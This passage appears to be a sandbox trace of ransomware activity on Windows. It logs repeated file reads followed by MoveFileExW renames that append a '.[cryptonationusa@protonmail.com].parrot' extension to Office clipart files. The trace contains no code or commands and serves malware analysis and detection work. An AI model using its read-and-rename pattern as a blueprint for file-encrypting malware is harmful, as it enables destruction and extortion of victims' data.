[0130.009] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.013] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.013] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.014] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.014] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb6de, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb6de, lpOverlapped=0x0) returned 1 [0130.017] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.020] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.021] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.097] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.098] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17b4, lpOverlapped=0x0) returned 1 [0130.103] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.109] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.109] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.110] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.110] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfea, lpOverlapped=0x0) returned 1 [0130.111] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.114] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.114] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.116] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.116] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2168, lpOverlapped=0x0) returned 1 [0130.117] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.121] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.121] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.124] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.124] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20e8, lpOverlapped=0x0) returned 1 [0130.125] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.128] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.128] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.130] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.130] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a40, lpOverlapped=0x0) returned 1 [0130.131] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.134] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.134] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.136] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.136] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ec6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0130.137] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.145] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.150] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.150] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2afa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2afa, lpOverlapped=0x0) returned 1 [0130.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.154] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.156] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x400c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x400c, lpOverlapped=0x0) returned 1 [0130.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.161] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.164] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.164] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12bc, lpOverlapped=0x0) returned 1 [0130.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.169] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.169] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.170] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x83c, lpOverlapped=0x0) returned 1 [0130.171] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.174] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.175] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.175] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13ea, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13ea, lpOverlapped=0x0) returned 1 [0130.176] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.179] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.181] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22de, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22de, lpOverlapped=0x0) returned 1 [0130.181] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.186] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.187] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.189] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.189] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43fe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43fe, lpOverlapped=0x0) returned 1 [0130.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.194] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.195] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.195] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c0, lpOverlapped=0x0) returned 1 [0130.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.199] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.201] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x148c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x148c, lpOverlapped=0x0) returned 1 [0130.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.205] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.205] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.207] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x380, lpOverlapped=0x0) returned 1 [0130.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.210] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.211] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.212] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: 